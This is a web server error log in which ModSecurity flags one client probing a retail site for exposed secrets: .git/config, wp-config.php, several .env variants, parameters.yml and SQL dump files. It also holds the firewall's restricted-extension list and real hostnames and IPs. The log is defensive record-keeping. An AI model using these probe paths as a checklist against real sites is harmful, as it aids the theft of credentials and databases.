[Fri Jul 17 08:27:52.802267 2026] [security2:error] [pid 2013810:tid 2013810] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.git/config"] [unique_id "almaMCY5vpBDD-fJ9tQLkAAAABc"]
[Fri Jul 17 08:27:52.802542 2026] [security2:error] [pid 2013810:tid 2013810] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.git/config"] [unique_id "almaMCY5vpBDD-fJ9tQLkAAAABc"]
[Fri Jul 17 08:27:52.840553 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/wp-config.php"] [unique_id "almaMAPhWp7RzB65h36etgAAAA0"]
[Fri Jul 17 08:27:52.840873 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/wp-config.php"] [unique_id "almaMAPhWp7RzB65h36etgAAAA0"]
[Fri Jul 17 08:27:52.879618 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/dump.sql"] [unique_id "almaMEhq6UAnqYko0LpXNwAAABE"]
[Fri Jul 17 08:27:52.880006 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/dump.sql"] [unique_id "almaMEhq6UAnqYko0LpXNwAAABE"]
[Fri Jul 17 08:27:52.922888 2026] [security2:error] [pid 2002425:tid 2002425] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/db.sql"] [unique_id "almaMKUJv0yl2bIgVrkNNgAAABU"]
[Fri Jul 17 08:27:52.923254 2026] [security2:error] [pid 2002425:tid 2002425] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/db.sql"] [unique_id "almaMKUJv0yl2bIgVrkNNgAAABU"]
[Fri Jul 17 08:27:52.939601 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaMA7FYe46zHK_jL3MRgAAABk"]
[Fri Jul 17 08:27:52.940096 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaMA7FYe46zHK_jL3MRgAAABk"]
[Fri Jul 17 08:27:52.946618 2026] [security2:error] [pid 2013831:tid 2013831] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/database.sql"] [unique_id "almaMKhgWo8idb8AQWuZ_AAAABs"]
[Fri Jul 17 08:27:52.947023 2026] [security2:error] [pid 2013831:tid 2013831] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/database.sql"] [unique_id "almaMKhgWo8idb8AQWuZ_AAAABs"]
[Fri Jul 17 08:27:52.958944 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/backup.sql"] [unique_id "almaMDRCJXF37-WnVv0ilgAAABI"]
[Fri Jul 17 08:27:52.959313 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/backup.sql"] [unique_id "almaMDRCJXF37-WnVv0ilgAAABI"]
[Fri Jul 17 08:27:52.963743 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/data.sql"] [unique_id "almaMF2NhE8i6ppze4etwwAAAAs"]
[Fri Jul 17 08:27:52.964111 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/data.sql"] [unique_id "almaMF2NhE8i6ppze4etwwAAAAs"]
[Fri Jul 17 08:27:53.029587 2026] [security2:error] [pid 1993668:tid 1993668] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMBAi3pC6yjXGNq19OgAAAAU"]
[Fri Jul 17 08:27:53.130754 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:53.175264 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:53.402328 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMIha5y5fYnQ1qRrvrQAAAAE"]
[Fri Jul 17 08:27:53.440943 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.env"] [unique_id "almaMYha5y5fYnQ1qRrvrgAAAAE"]
[Fri Jul 17 08:27:53.441240 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.env"] [unique_id "almaMYha5y5fYnQ1qRrvrgAAAAE"]
[Fri Jul 17 08:27:53.670243 2026] [security2:error] [pid 1994966:tid 1994966] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almaMbyEqmgiTSUa55oHgwAAABA"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:27:53.670303 2026] [security2:error] [pid 1994966:tid 1994966] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almaMbyEqmgiTSUa55oHgwAAABA"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:27:53.681975 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.env.production"] [unique_id "almaMbyEqmgiTSUa55oHhAAAABA"]
[Fri Jul 17 08:27:53.682368 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.env.production"] [unique_id "almaMbyEqmgiTSUa55oHhAAAABA"]
[Fri Jul 17 08:27:53.682612 2026] [hostinglimits:warn] [pid 1994966:tid 1994966] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(manaharasupercenter.lk) URL(/index.php) TID(1994966) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:53.682840 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMbyEqmgiTSUa55oHhAAAABA"]
[Fri Jul 17 08:27:53.733112 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMARRrtuZqNDDSqWssAAAABo"]
[Fri Jul 17 08:27:53.979425 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.env.local"] [unique_id "almaMbyEqmgiTSUa55oHhQAAABA"]
[Fri Jul 17 08:27:53.979711 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.env.local"] [unique_id "almaMbyEqmgiTSUa55oHhQAAABA"]
[Fri Jul 17 08:27:54.099384 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMIl9vhFBGA6D8l92VgAAAAw"]
[Fri Jul 17 08:27:54.356580 2026] [security2:error] [pid 1993573:tid 1993573] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almaMnt8zp89pALg8Q5lBAAAAA4"]
[Fri Jul 17 08:27:54.356751 2026] [security2:error] [pid 1993573:tid 1993573] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almaMnt8zp89pALg8Q5lBAAAAA4"]
[Fri Jul 17 08:27:54.356984 2026] [security2:error] [pid 1993573:tid 1993573] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almaMnt8zp89pALg8Q5lBAAAAA4"]
[Fri Jul 17 08:27:54.384140 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMFh1WDijTxd1xw5I1QAAAAc"]
[Fri Jul 17 08:27:54.608333 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:58096] AH02013: coalesce failed to read from data bucket
